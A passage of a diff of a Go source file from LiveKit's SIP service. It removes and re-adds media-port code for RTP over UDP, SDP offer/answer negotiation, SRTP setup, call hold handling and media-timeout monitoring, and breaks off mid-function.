LK DTMF -> SIP DTMF -} - -func (p *mediaPort) SetTimeout(initial, general time.Duration) { - if initial <= 0 || general <= 0 { - p.log.Debugw("attempting to set zero media timeout", "initial", initial, "timeout", general, "fallbackInitial", p.opts.MediaTimeoutInitial, "fallbackTimeout", p.opts.MediaTimeout) - if initial <= 0 { - initial = p.opts.MediaTimeoutInitial - } - if general <= 0 { - general = p.opts.MediaTimeout - } - } - p.timeoutInitial.Store(&initial) - p.timeoutGeneral.Store(&general) - now := time.Now() - p.timeoutStart.Store(&now) - p.log.Debugw("media timeout enabled", - "packets", p.packetCount.Load(), - "initial", initial, - "timeout", general, - ) - select { - case p.timeoutKick <- struct{}{}: - default: // already pending - } -} - -func (p *mediaPort) mediaTimeoutLoop() { - defer p.log.Infow("media timeout loop stopped") - - const disabledPark = time.Hour - timer := time.NewTimer(disabledPark) - defer timer.Stop() - - lastLog := time.Now() - for { - select { - case <-p.closed.Watch(): - return - case <-p.timeoutKick: - case <-timer.C: - } - - verbose := false - if now := time.Now(); now.Sub(lastLog) > time.Hour { - verbose = true - lastLog = now - } - - startPtr := p.timeoutStart.Load() - if startPtr == nil { - if verbose { - p.log.Infow("media timeout disabled", "packets", p.packetCount.Load()) - } - timer.Reset(disabledPark) - continue - } - startTime := *startPtr - - var lastPacketTime time.Time - if nano := p.lastPacketTime.Load(); nano > 0 { - lastPacketTime = time.Unix(0, nano) - } - - generalTimeout := p.opts.MediaTimeout - if ptr := p.timeoutGeneral.Load(); ptr != nil { - generalTimeout = *ptr - } - - // Initial mode: no media has ever been received on this port. Once a single - // RTP packet arrives, we switch to the general window regardless of any - // subsequent SetTimeout re-arming the startTime. - isInitial := lastPacketTime.IsZero() - var ( - deadline time.Time - timeout time.Duration - ) - if isInitial { - timeout = p.opts.MediaTimeoutInitial - if ptr := p.timeoutInitial.Load(); ptr != nil { - timeout = *ptr - } - deadline = startTime.Add(timeout) - } else { - timeout = generalTimeout - deadline = lastPacketTime.Add(timeout) - } - remaining := time.Until(deadline) - - var sinceLast time.Duration - if !lastPacketTime.IsZero() { - sinceLast = time.Since(lastPacketTime) - } - - if verbose { - log := p.log.WithValues( - "packets", p.packetCount.Load(), - "sinceStart", time.Since(startTime), - "sinceLast", sinceLast, - "remaining", remaining, - "timeout", timeout, - "isInitial", isInitial, - ) - if isInitial { - log.Warnw("media timeout is idle for a long time", nil) - } else { - log.Infow("media timeout stats") - } - } - - if remaining <= 0 { - p.log.Infow("triggering media timeout", - "packets", p.packetCount.Load(), - "sinceStart", time.Since(startTime), - "sinceLast", sinceLast, - "timeout", timeout, - "isInitial", isInitial, - ) - p.mediaTimeout.Break() - return - } - // Cap the wake-up at the general timeout so packet arrivals during a long - // initial window get observed within one general interval, instead of - // having to wait out the full initial deadline. - timer.Reset(min(remaining, generalTimeout)) - } -} - -func (p *mediaPort) closePipelineLocked() { - // Lock must already be held - - // Close switch -> port - if closer := p.audioOut.Swap(nil); closer != nil { - _ = closer.Close() - } - if closer := p.dtmfOut.Swap(nil); closer != nil { - _ = closer.Close() - } - // Close port -> switch - if p.pipeline != nil { - _ = p.pipeline.Close() // Waits until session terminates - p.pipeline = nil - } -} - -func (p *mediaPort) Close() { - p.closed.Once(func() { - defer p.stats.Closed.Store(true) - - logError := func(comp string, err error) { - if err != nil { - p.log.Errorw("error closing media port", err, "component", comp) - } - } - - p.mu.Lock() - defer p.mu.Unlock() - p.closePipelineLocked() - logError("port", p.port.Close()) - conn := p.port.unwrap() - if uc, ok := conn.(*net.UDPConn); ok { - go DrainPort(p.log, uc, p.opts.DrainingIdleTimeout, p.opts.DrainingDuration, nil) - } else { - logError("conn", conn.Close()) - } - - logError("audioIn", p.audioIn.Close()) // Propagate Close() to onwards to room - logError("dtmfIn", p.dtmfIn.Close()) // Propagate Close() to onwards to room - logError("audioOut", p.audioOut.Close()) // No-op, but do anyway - logError("dtmfOut", p.dtmfOut.Close()) // No-op, but do anyway - }) -} - -func (p *mediaPort) CloseWait() { - p.Close() - <-p.closed.Watch() - p.wg.Wait() -} - -func (p *mediaPort) Port() int { - return p.port.LocalAddr().(*net.UDPAddr).Port -} - -func (p *mediaPort) RemoteAddr() netip.AddrPort { - dst := p.port.dst.Load() - if dst == nil { - return netip.AddrPort{} - } - return *dst -} - -// Reported for inbound (SetOffer) only since outbound (SetAnswer) only contains the -// codec picked by the end user, and not what they actually support -func (p *mediaPort) reportPeerCodecs(d sdp.MediaDesc, reinvite bool) { - if p.mon == nil { - return - } - p.mon.PeerSDP(peerCodecNames(d), reinvite) -} - -// Plumbing - -func (p *mediaPort) GetOutboundAudioWriter() msdk.PCM16Writer { - return p.audioOut -} - -func (p *mediaPort) WriteInboundAudioTo(w msdk.PCM16Writer) msdk.PCM16Writer { - return p.audioIn.Swap(w) -} - -func (p *mediaPort) GetOutboundDTMFWriter() msdk.WriteCloser[string] { - return p.dtmfOut -} - -func (p *mediaPort) WriteInboundDTMFTo(w msdk.WriteCloser[string]) msdk.WriteCloser[string] { - return p.dtmfIn.Swap(w) -} - -func (p *mediaPort) Received() <-chan struct{} { - return p.mediaReceived.Watch() -} - -func (p *mediaPort) MediaTimeout() <-chan struct{} { - return p.mediaTimeout.Watch() -} - -// SDP - -func (p *mediaPort) GenerateOffer() ([]byte, error) { - p.mu.Lock() - defer p.mu.Unlock() - if p.offer != nil { - return p.offer.SDP.Marshal() - } - - offer, err := sdp.NewOfferWith(p.codecs, p.externalIP, p.Port(), p.encryption, sdp.WithLocalProfiles(p.localCrypto)) - if err != nil { - return nil, err - } - p.offer = offer - return offer.SDP.Marshal() -} - -func (p *mediaPort) GenerateAnswer(offerData []byte) ([]byte, error) { - if len(offerData) == 0 { - return p.GetLocalSDP() - } - - offer, err := parseOfferWith(p.log, p.mon, p.codecs, offerData) - if err != nil { - return nil, SDPError{Err: err} - } - p.mu.RLock() - isReinvite := p.negotiated != nil - p.mu.RUnlock() - p.reportPeerCodecs(offer.MediaDesc, isReinvite) - answer, mc, err := offer.Answer(p.externalIP, p.Port(), p.encryption, sdp.WithLocalProfiles(p.localCrypto)) - if err != nil { - return nil, SDPError{Err: err} - } - - answerData, err := answer.SDP.Marshal() - if err != nil { - return nil, err - } - err = p.configure(mc, answerData) - if err != nil { - return nil, err - } - return answerData, nil -} - -func (p *mediaPort) ProcessAnswer(answerData []byte) error { - if len(answerData) == 0 { - return errors.New("no answer provided") - } - - p.mu.RLock() - offer := p.offer - p.mu.RUnlock() - - if offer == nil { - return errors.New("no offer generated") - } - - answer, err := parseAnswerWith(p.log, p.mon, p.codecs, answerData) - if err != nil { - return SDPError{Err: err} - } - mc, localSDP, err := answer.ApplyWithLocal(offer, p.encryption) - if err != nil { - return SDPError{Err: err} - } - - localSDPBytes, err := localSDP.Marshal() - if err != nil { - return err - } - - err = p.configure(mc, localSDPBytes) - if err != nil { - return err - } - p.SetTimeout(p.opts.MediaTimeoutInitial, p.opts.MediaTimeout) - return nil -} - -func (p *mediaPort) GetLocalSDP() ([]byte, error) { - p.mu.RLock() - defer p.mu.RUnlock() - if p.pipeline == nil || len(p.localSDP) == 0 { - return nil, errors.New("no SDP provided, no local SDP available") - } - return p.localSDP, nil -} - -func (p *mediaPort) NegotiatedAudio() *sdp.AudioConfig { - p.mu.RLock() - defer p.mu.RUnlock() - if p.negotiated == nil { - return nil - } - return &p.negotiated.Audio -} - -func parseSDPWithRecovery[T any](log logger.Logger, mon *stats.CallMonitor, fn func(*msdk.CodecSet, []byte) (*T, error), codecs *msdk.CodecSet, data []byte) (res *T, err error) { - defer func() { - if r := recover(); r != nil { - panicErr, ok := r.(error) - if !ok { - panicErr = fmt.Errorf("%v", r) - } - log.Errorw("panic while parsing SDP", panicErr, "stacktrace", string(debug.Stack())) - if mon != nil { - mon.SDPParsePanic() - } - res, err = nil, errors.New("invalid SDP") - } - }() - res, err = fn(codecs, data) - if err != nil && mon != nil { - mon.SDPParseError() - } - return res, err -} - -func parseOfferWith(log logger.Logger, mon *stats.CallMonitor, codecs *msdk.CodecSet, data []byte) (*sdp.Offer, error) { - return parseSDPWithRecovery(log, mon, sdp.ParseOfferWith, codecs, data) -} - -func parseAnswerWith(log logger.Logger, mon *stats.CallMonitor, codecs *msdk.CodecSet, data []byte) (*sdp.Answer, error) { - return parseSDPWithRecovery(log, mon, sdp.ParseAnswerWith, codecs, data) -} - -// Building pipeline - -func (p *mediaPort) configure(c *sdp.MediaConfig, localSDP []byte) error { - // Map the durable udpConn + WriteCloserSwitch anchors onto a fresh mediaPortPipeline. - // Rebuild from scratch under mu: closePipelineLocked (soft-closes the session via udpConn), - // Reopen the port, then Configure a new generation and Swap TX leaves into the anchors. - - if c.Audio.Codec == nil { - return SDPError{Err: errors.New("no audio codec selected")} - } - - p.mu.Lock() // No concurrent rebuilding of the pipeline - defer p.mu.Unlock() - - p.offer = nil - - if p.closed.IsBroken() { - return errors.New("media is already closed") - } - - changeSetSummary := NewChangeSetSummary(p.negotiated, c) - - if changeSetSummary.includes(changeSetLocalAddr) { - return errors.New("unexpected local address change") - } - - audioToPort := p.audioOut.Swap(nil) // either nil or no-op closer - defer func() { p.audioOut.Swap(audioToPort) }() - dtmfToPort := p.dtmfOut.Swap(nil) // either nil or no-op closer - defer func() { p.dtmfOut.Swap(dtmfToPort) }() - - hold := false - - if changeSetSummary.includes(changeSetRemoteAddr) { - if c.Remote.Addr().IsUnspecified() { - // Older hold semantics: c=0.0.0.0 - hold = true - } else { - p.port.SetDst(netip.AddrPortFrom(c.Remote.Addr(), c.Remote.Port())) - p.negotiated.Remote = c.Remote - } - } - if changeSetSummary.includes(changeSetPeerDirection) { - // Newer hold semantics: a=sendonly - // TODO: Support a=recvonly/inactive; requires toggling media timeout; - // maybe gate these on timers being active on the session to prevent dud calls - hold = c.PeerDirection == psdp.DirectionSendOnly - } - if holdEnabled && hold { - audioToPort = nil - dtmfToPort = nil - zero := netip.IPv4Unspecified() - if !c.Remote.Addr().Is4() { - zero = netip.IPv6Unspecified() - } - p.port.SetDst(netip.AddrPortFrom(zero, c.Remote.Port())) - p.log.Infow("peer requested hold", "direction", c.PeerDirection.String(), "remote", c.Remote.String()) - } - if changeSetSummary.shouldReconfigure() { - if changeSetSummary != changeSetNew { - // Explicitly disable renegotiation for now - // Compatibility to today's behavior: return 200 OK, but don't reconfigure the pipeline - return nil - } - - p.closePipelineLocked() - audioToPort = nil - dtmfToPort = nil - p.port.stopDiscarding() // Needs readDeadline. Must be ahead of Reopen() and NewMediaPortPipeline() - p.port.Reopen() // Allow reads from socket again - - pipelineConfig := &MediaPortPipelineConfig{ - log: p.log, - opts: p.opts, - mon: p.mon, - stats: p.stats, - onNewSSRC: p.mediaReceived.Break, - onPacket: p.onNewMediaPacket, - } - newPipeline, err := NewMediaPortPipeline( - pipelineConfig, - c, - p.port, - p.audioIn, - p.dtmfIn, - p.audioOut.SampleRate(), - ) - if err != nil { - return err - } - - audioToPort, dtmfToPort = newPipeline.GetConnectors() // These are not propagating Close() - p.pipeline = newPipeline - - p.localSDP = localSDP // TODO: Move to end of function when reconfiguring is supported - } - p.negotiated = c - return nil -} - -func (p *mediaPort) onNewMediaPacket() { - p.packetCount.Add(1) - p.lastPacketTime.Store(time.Now().UnixNano()) -} - -type changeSetSummary uint - -const ( - changeSetNew changeSetSummary = 1 << iota // 1 << 0 = 1 - changeSetAudioCodec - changeSetDTMF - changeSetCrypto - changeSetLocalAddr - changeSetRemoteAddr - changeSetPeerDirection -) - -func NewChangeSetSummary(current, new *sdp.MediaConfig) changeSetSummary { - if current == nil { - return changeSetNew - } - var changeSetSummary changeSetSummary - if current.Audio.Codec.Info().SDPName != new.Audio.Codec.Info().SDPName || current.Audio.Type != new.Audio.Type { - changeSetSummary |= changeSetAudioCodec - } - if current.Audio.DTMFType != new.Audio.DTMFType { - changeSetSummary |= changeSetDTMF - } - a, b := current.Crypto, new.Crypto - if a == nil || b == nil { - if a != b { - changeSetSummary |= changeSetCrypto - } - } else { // Profile exists on both - if a.Profile != b.Profile || - !bytes.Equal(a.Keys.LocalMasterKey, b.Keys.LocalMasterKey) || - !bytes.Equal(a.Keys.LocalMasterSalt, b.Keys.LocalMasterSalt) || - !bytes.Equal(a.Keys.RemoteMasterKey, b.Keys.RemoteMasterKey) || - !bytes.Equal(a.Keys.RemoteMasterSalt, b.Keys.RemoteMasterSalt) { - changeSetSummary |= changeSetCrypto - } - } - if current.Local != new.Local { - changeSetSummary |= changeSetLocalAddr - } - if current.Remote != new.Remote { - changeSetSummary |= changeSetRemoteAddr - } - if current.PeerDirection != new.PeerDirection { - changeSetSummary |= changeSetPeerDirection - } - return changeSetSummary -} - -func (c changeSetSummary) shouldReconfigure() bool { - return c&(changeSetNew|changeSetAudioCodec|changeSetDTMF|changeSetCrypto) != 0 -} - -func (c changeSetSummary) includes(feature changeSetSummary) bool { - return c&feature != 0 -} +// Copyright 2024 LiveKit, Inc. +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. + +package sip + +import ( + "bytes" + "errors" + "fmt" + "io" + "math" + "net" + "net/netip" + "os" + "runtime/debug" + "sync" + "sync/atomic" + "time" + + "github.com/frostbyte73/core" + psdp "github.com/pion/sdp/v3" + + msdk "github.com/livekit/media-sdk" + "github.com/livekit/media-sdk/rtp" + "github.com/livekit/media-sdk/sdp" + "github.com/livekit/media-sdk/srtp" + "github.com/livekit/mediatransportutil/pkg/rtcconfig" + "github.com/livekit/protocol/logger" + + "github.com/livekit/sip/pkg/config" + "github.com/livekit/sip/pkg/stats" +) + +const ( + defaultMediaTimeout = 15 * time.Second + defaultMediaTimeoutInitial = 30 * time.Second + dstChangePrintInterval = 10 * 1000 * 1000 * 1000 // 10 seconds, in nanoseconds + srcChangePrintInterval = dstChangePrintInterval + holdEnabled = false // Disabled in current code +) + +type PortStatsSnapshot struct { + Streams uint64 `json:"streams"` + Packets uint64 `json:"packets"` + IgnoredPackets uint64 `json:"packets_ignored"` + InputPackets uint64 `json:"packets_input"` + FailedPackets uint64 `json:"packets_failed"` + + MuxPackets uint64 `json:"mux_packets"` + MuxBytes uint64 `json:"mux_bytes"` + MuxResets uint64 `json:"mux_resets"` + MuxGaps uint64 `json:"mux_gaps"` + MuxGapsSum uint64 `json:"mux_gaps_sum"` + MuxLate uint64 `json:"mux_late"` + MuxLateSum uint64 `json:"mux_late_sum"` + MuxRapidPackets uint64 `json:"mux_rapid_packets"` + MuxDelayedPackets uint64 `json:"mux_delayed_packets"` + MuxDelayedSum uint64 `json:"mux_delayed_sum"` + + AudioPackets uint64 `json:"audio_packets"` + AudioBytes uint64 `json:"audio_bytes"` + + AudioInFrames uint64 `json:"audio_in_frames"` + AudioInSamples uint64 `json:"audio_in_samples"` + AudioOutFrames uint64 `json:"audio_out_frames"` + AudioOutSamples uint64 `json:"audio_out_samples"` + + AudioRX float64 `json:"audio_rx"` + AudioTX float64 `json:"audio_tx"` + + DTMFPackets uint64 `json:"dtmf_packets"` + DTMFBytes uint64 `json:"dtmf_bytes"` + + JitterBufferPacketsLost uint64 `json:"jitter_buffer_packets_lost"` + JitterBufferPacketsDropped uint64 `json:"jitter_buffer_packets_dropped"` + + LatencyInE2E LatencyStatsSnapshot `json:"latency_in_e2e"` + LatencyOut LatencyStatsSnapshot `json:"latency_out"` + + Closed bool `json:"closed"` +} + +type PortStats struct { + Streams atomic.Uint64 + Packets atomic.Uint64 + IgnoredPackets atomic.Uint64 + InputPackets atomic.Uint64 + FailedPackets atomic.Uint64 + + MuxStats rtpCountingStats + + AudioPackets atomic.Uint64 + AudioBytes atomic.Uint64 + + AudioInFrames atomic.Uint64 + AudioInSamples atomic.Uint64 + AudioOutFrames atomic.Uint64 + AudioOutSamples atomic.Uint64 + + AudioRX atomic.Uint64 // based on AudioInSamples + AudioTX atomic.Uint64 // based on AudioOutSamples + + DTMFPackets atomic.Uint64 + DTMFBytes atomic.Uint64 + + JitterBufferPacketsLost atomic.Uint64 + JitterBufferPacketsDropped atomic.Uint64 + + LatencyInE2E LatencyStats + LatencyOut LatencyStats + + Closed atomic.Bool + + mu sync.Mutex + last struct { + Time time.Time + AudioInSamples uint64 + AudioOutSamples uint64 + } +} + +func (s *PortStats) Load() PortStatsSnapshot { + return PortStatsSnapshot{ + Streams: s.Streams.Load(), + Packets: s.Packets.Load(), + IgnoredPackets: s.IgnoredPackets.Load(), + InputPackets: s.InputPackets.Load(), + FailedPackets: s.FailedPackets.Load(), + MuxPackets: s.MuxStats.packets.Load(), + MuxBytes: s.MuxStats.bytes.Load(), + MuxResets: s.MuxStats.resets.Load(), + MuxGaps: s.MuxStats.gaps.Load(), + MuxGapsSum: s.MuxStats.gapsSum.Load(), + MuxLate: s.MuxStats.late.Load(), + MuxLateSum: s.MuxStats.lateSum.Load(), + MuxRapidPackets: s.MuxStats.rapidPackets.Load(), + MuxDelayedPackets: s.MuxStats.delayedPackets.Load(), + MuxDelayedSum: s.MuxStats.delayedSum.Load(), + AudioPackets: s.AudioPackets.Load(), + AudioBytes: s.AudioBytes.Load(), + AudioInFrames: s.AudioInFrames.Load(), + AudioInSamples: s.AudioInSamples.Load(), + AudioOutFrames: s.AudioOutFrames.Load(), + AudioOutSamples: s.AudioOutSamples.Load(), + AudioRX: math.Float64frombits(s.AudioRX.Load()), + AudioTX: math.Float64frombits(s.AudioTX.Load()), + DTMFPackets: s.DTMFPackets.Load(), + DTMFBytes: s.DTMFBytes.Load(), + JitterBufferPacketsLost: s.JitterBufferPacketsLost.Load(), + JitterBufferPacketsDropped: s.JitterBufferPacketsDropped.Load(), + LatencyInE2E: s.LatencyInE2E.Load(), + LatencyOut: s.LatencyOut.Load(), + Closed: s.Closed.Load(), + } +} + +func (s *PortStats) Update() { + s.mu.Lock() + defer s.mu.Unlock() + t := time.Now() + lastTime := s.last.Time + if lastTime.IsZero() { + lastTime = t + } + dt := t.Sub(lastTime).Seconds() + + curAudioInSamples := s.AudioInSamples.Load() + curAudioOutSamples := s.AudioOutSamples.Load() + + if dt > 0 { + rxSamples := curAudioInSamples - s.last.AudioInSamples + txSamples := curAudioOutSamples - s.last.AudioOutSamples + + rxRate := float64(rxSamples) / dt + txRate := float64(txSamples) / dt + + s.AudioRX.Store(math.Float64bits(rxRate)) + s.AudioTX.Store(math.Float64bits(txRate)) + } + + s.last.Time = t + s.last.AudioInSamples = curAudioInSamples + s.last.AudioOutSamples = curAudioOutSamples +} + +type UDPConn interface { + net.Conn + ReadFromUDPAddrPort(b []byte) (n int, addr netip.AddrPort, err error) + WriteToUDPAddrPort(b []byte, addr netip.AddrPort) (int, error) +} + +func newUDPConn(log logger.Logger, conn UDPConn, symmetric bool) *udpConn { + c := &udpConn{ + UDPConn: conn, + log: log, + } + c.symmetric.Store(symmetric) + return c +} + +type udpConn struct { + UDPConn + closed atomic.Bool + discardStop atomic.Bool + discardWG sync.WaitGroup + log logger.Logger + symmetric atomic.Bool // send packets to the same address we receive them from + src atomic.Pointer[netip.AddrPort] + dst atomic.Pointer[netip.AddrPort] + srcChangeCount atomic.Uint64 + dstChangeCount atomic.Uint64 + lastSrcPrint atomic.Int64 + lastDstPrint atomic.Int64 +} + +func (c *udpConn) SetSymmetric(enabled bool) { + c.symmetric.Store(enabled) +} + +func (c *udpConn) GetSrc() (netip.AddrPort, bool) { + ptr := c.src.Load() + if ptr == nil { + return netip.AddrPort{}, false + } + addr := *ptr + return addr, addr.IsValid() +} + +func (c *udpConn) SetDst(addr netip.AddrPort) { + if addr.IsValid() { + prev := c.dst.Swap(&addr) + if prev == nil || !prev.IsValid() { + c.log.Debugw("setting media destination", "addr", addr.String()) + } else if *prev != addr { + changeCount := c.dstChangeCount.Add(1) + now := time.Now().UnixNano() + if now-c.lastDstPrint.Load() > dstChangePrintInterval { + c.lastDstPrint.Store(now) + c.log.Infow("changing media destination", "prev", (*prev).String(), "addr", addr.String(), "count", changeCount) + } + } + } +} + +func (c *udpConn) Read(b []byte) (n int, err error) { + if c.closed.Load() { + return 0, io.EOF + } + n, addr, err := c.ReadFromUDPAddrPort(b) + if c.closed.Load() && errors.Is(err, os.ErrDeadlineExceeded) { + return n, io.EOF + } + prev := c.src.Swap(&addr) + if prev == nil || !prev.IsValid() { + c.log.Debugw("setting media source", "addr", addr.String()) + } else if *prev != addr { + changeCount := c.srcChangeCount.Add(1) + now := time.Now().UnixNano() + if now-c.lastSrcPrint.Load() > srcChangePrintInterval { + c.lastSrcPrint.Store(now) + c.srcChangeCount.Add(1) + c.log.Infow("changing media source", "prev", (*prev).String(), "addr", addr.String(), "count", changeCount) + } + } + if c.symmetric.Load() { + dst := c.dst.Load() + if dst != nil && dst.Addr().IsUnspecified() { + // On hold: the peer may keep sending, but it doesn't want our media. + } else if dst == nil || !dst.IsValid() || *dst != addr { + c.SetDst(addr) + } + } + return n, err +} + +func (c *udpConn) Write(b []byte) (n int, err error) { + dst := c.dst.Load() + if dst == nil || dst.Addr().IsUnspecified() { // No remote or on hold + return len(b), nil // ignore + } + return c.WriteToUDPAddrPort(b, *dst) +} + +func (c *udpConn) discardLoop() error { + defer c.discardWG.Done() + + var err error + buf := make([]byte, 1024) + packetsDiscarded := uint64(0) + for !c.discardStop.Load() { + err = c.UDPConn.SetReadDeadline(time.Now().Add(rtp.DefFrameDur)) + if err != nil { + if !errors.Is(err, net.ErrClosed) { + c.log.Warnw("error encountered while setting read deadline", err) + } + break + } + _, _, err = c.ReadFromUDPAddrPort(buf) + if err != nil { + if errors.Is(err, os.ErrDeadlineExceeded) { + continue + } + if errors.Is(err, net.ErrClosed) { + break + } + c.log.Warnw("error encountered while reading UDP packets", err) + break + } + packetsDiscarded++ + } + if err != nil || packetsDiscarded > 0 { + c.log.Debugw("Stopped discarding packets", "packetsDiscarded", packetsDiscarded, "error", err) + } + err = c.UDPConn.SetReadDeadline(time.Time{}) // clear deadline + if err != nil && !errors.Is(err, net.ErrClosed) { + c.log.Warnw("error encountered while clearing read deadline", err) + } + return err +} + +func (c *udpConn) startDiscarding() { + c.discardWG.Add(1) + go c.discardLoop() +} + +func (c *udpConn) stopDiscarding() { + c.discardStop.Store(true) + c.discardWG.Wait() +} + +func (c *udpConn) unwrap() UDPConn { + c.Close() + return c.UDPConn +} + +func (c *udpConn) Reopen() { + c.closed.Store(false) + c.UDPConn.SetReadDeadline(time.Time{}) // Clear deadline, if set +} + +func (c *udpConn) Close() error { + c.stopDiscarding() + c.closed.Store(true) + c.UDPConn.SetReadDeadline(time.Now().Add(-time.Second)) // Kill ongoing reads + return nil +} + +type MediaOptions struct { + IP netip.Addr + Ports rtcconfig.PortRange + MediaTimeoutInitial time.Duration + MediaTimeout time.Duration + SymmetricRTP bool + IgnoreLocalAddrInSDP bool // enable symmetric RTP if local IP is specified in SDP + Stats *PortStats + EnableJitterBuffer bool + LogSignalChanges bool + DrainingIdleTimeout time.Duration + DrainingDuration time.Duration + Codecs *msdk.CodecSet + Encryption sdp.Encryption + DTMFAudio bool + DTLSEnabled bool + DTLSCertificate *dtlsCertificate + DTLSHandshakeTimeout time.Duration +} + +func (o *MediaOptions) ApplyDefaults() { + if o.MediaTimeoutInitial <= 0 { + o.MediaTimeoutInitial = defaultMediaTimeoutInitial + } + if o.MediaTimeout <= 0 { + o.MediaTimeout = defaultMediaTimeout + } + if o.Stats == nil { + o.Stats = &PortStats{} + } + if o.Codecs == nil { + o.Codecs = defaultCodecs + } + if o.Ports.Start == 0 { + o.Ports.Start = config.DefaultRTPPortRange.Start + } + if o.Ports.End == 0 { + o.Ports.End = config.DefaultRTPPortRange.End + } +} + +// MediaPort is the insulated media-plane API: UDP/RTP to the wire, SDP negotiation, +// and audio/DTMF endpoints. It does not know about calls, rooms, or SIP dialogs. +type MediaPort interface { + Close() + CloseWait() + + // GetOutboundAudioWriter returns the LK room -> SIP writer. + GetOutboundAudioWriter() msdk.PCM16Writer + // GetOutboundDTMFWriter returns the LK room -> SIP DTMF writer. + GetOutboundDTMFWriter() msdk.WriteCloser[string] + + // WriteInboundAudioTo tells port where to write inbound SIP audio. + // + // MediaPort.Close() will propagate to the argument writer. The caller is + // responsible for closing the returned media writer. + WriteInboundAudioTo(w msdk.PCM16Writer) msdk.PCM16Writer + + // WriteInboundDTMFTo tells port where to write inbound SIP DTMF. + // + // MediaPort.Close() will propagate to the argument writer. The caller is + // responsible for closing the returned media writer. + WriteInboundDTMFTo(w msdk.WriteCloser[string]) msdk.WriteCloser[string] + + // If there is no offer, this generates an offer. + // If there is an offer, this simply returns the SDP of that offer. + // An offer is cleared once a negotiation is successful. + GenerateOffer() ([]byte, error) + + // GenerateAnswer returns an encoded SDP answer for the given offer. + // This does not arm the media timeout, use SetTimeout to do so. + // + // SIDE EFFECT: May cause a rebuild of the pipeline. + GenerateAnswer(offer []byte) ([]byte, error) + + // ProcessAnswer processes an encoded SDP answer from the remote client. Returns an + // error if the answer is invalid, the offer has not yet been generated, or + // if media has already been negotiated. + // + // SIDE EFFECT: May cause a rebuild of the pipeline. + ProcessAnswer(answer []byte) error + + GetLocalSDP() ([]byte, error) + + // NegotiatedAudio returns the audio configuration chosen by SDP negotiation. + // Returns nil if media has not been negotiated yet. + // + // REQUIRES: The caller should not mutate the returned audio config. + NegotiatedAudio() *sdp.AudioConfig + + // SetTimeout resets the media timeout with the given values. + // + // NOTE: This method is likely to go through additional changes. + SetTimeout(initial, general time.Duration) + + Received() <-chan struct{} + MediaTimeout() <-chan struct{} +} + +func NewMediaPort(log logger.Logger, mon *stats.CallMonitor, opts *MediaOptions, targetSampleRate int) (MediaPort, error) { + return NewMediaPortWith(log, mon, nil, opts, targetSampleRate) +} + +func NewMediaPortWith(log logger.Logger, mon *stats.CallMonitor, conn UDPConn, opts *MediaOptions, targetSampleRate int) (MediaPort, error) { + if opts == nil { + opts = &MediaOptions{} + } + opts.ApplyDefaults() + if conn == nil { + // use an even RTP port (RFC 3550); some gateways misroute media when offered an odd one + c, err := rtp.ListenUDPEvenPortRange(opts.Ports.Start, opts.Ports.End, netip.AddrFrom4([4]byte{0, 0, 0, 0})) + if err != nil { + return nil, err + } + conn = c + } + var localCrypto []srtp.Profile + if opts.Encryption != sdp.EncryptionNone { + var err error + localCrypto, err = srtp.DefaultProfiles() + if err != nil { + return nil, err + } + } + p := &mediaPort{ + log: log, + opts: opts, + mon: mon, + externalIP: opts.IP, + timeoutKick: make(chan struct{}, 1), + port: newUDPConn(log, conn, opts.SymmetricRTP), + stats: opts.Stats, + codecs: opts.Codecs, + encryption: opts.Encryption, + localCrypto: localCrypto, + } + // Explicitly set sample rate. We manually create resamplers to include in latency + p.audioOut = msdk.NewWriteCloserSwitch[msdk.PCM16Sample](targetSampleRate) + p.audioIn = msdk.NewWriteCloserSwitch[msdk.PCM16Sample](targetSampleRate) + p.dtmfIn = msdk.NewWriteCloserSwitch[string](0) + p.dtmfOut = msdk.NewWriteCloserSwitch[string](0) + + p.port.startDiscarding() + p.timeoutInitial.Store(&opts.MediaTimeoutInitial) + p.timeoutGeneral.Store(&opts.MediaTimeout) + p.wg.Go(p.mediaTimeoutLoop) + p.log.Debugw("listening for media on UDP", "port", p.Port()) + return p, nil +} + +// mediaPort is the concrete MediaPort implementation. +type mediaPort struct { + log logger.Logger + wg sync.WaitGroup + opts *MediaOptions + mon *stats.CallMonitor + externalIP netip.Addr + port *udpConn + mediaReceived core.Fuse + packetCount atomic.Uint64 + lastPacketTime atomic.Int64 // UnixNano of last RTP packet, 0 if none + mediaTimeout core.Fuse + timeoutKick chan struct{} // wakes timeoutLoop when the deadline may have changed + timeoutStart atomic.Pointer[time.Time] + timeoutInitial atomic.Pointer[time.Duration] + timeoutGeneral atomic.Pointer[time.Duration] + closed core.Fuse + stats *PortStats + + targetSampleRate int + codecs *msdk.CodecSet + encryption sdp.Encryption + localCrypto []srtp.Profile // our SRTP material, generated once per port + + mu sync.RWMutex + pipeline *mediaPortPipeline + localSDP []byte + offer *sdp.Offer + negotiated *sdp.MediaConfig + dtls *dtlsMediaConfig + + audioIn *msdk.WriteCloserSwitch[msdk.PCM16Sample] // SIP RTP -> LK PCM + audioOut *msdk.WriteCloserSwitch[msdk.PCM16Sample] // LK PCM -> SIP RTP + dtmfIn *msdk.WriteCloserSwitch[string] // SIP DTMF -> LK DTMF + dtmfOut *msdk.WriteCloserSwitch[string] // LK DTMF -> SIP DTMF +} + +func (p *mediaPort) SetTimeout(initial, general time.Duration) { + if initial <= 0 || general <= 0 { + p.log.Debugw("attempting to set zero media timeout", "initial", initial, "timeout", general, "fallbackInitial", p.opts.MediaTimeoutInitial, "fallbackTimeout", p.opts.MediaTimeout) + if initial <= 0 { + initial = p.opts.MediaTimeoutInitial + } + if general <= 0 { + general = p.opts.MediaTimeout + } + } + p.timeoutInitial.Store(&initial) + p.timeoutGeneral.Store(&general) + now := time.Now() + p.timeoutStart.Store(&now) + p.log.Debugw("media timeout enabled", + "packets", p.packetCount.Load(), + "initial", initial, + "timeout", general, + ) + select { + case p.timeoutKick <- struct{}{}: + default: // already pending + } +} + +func (p *mediaPort) mediaTimeoutLoop() { + defer p.log.Infow("media timeout loop stopped") + + const disabledPark = time.Hour + timer := time.NewTimer(disabledPark) + defer timer.Stop() + + lastLog := time.Now() + for { + select { + case <-p.closed.Watch(): + return + case <-p.timeoutKick: + case <-timer.C: + } + + verbose := false + if now := time.Now(); now.Sub(lastLog) > time.Hour { + verbose = true + lastLog = now + } + + startPtr := 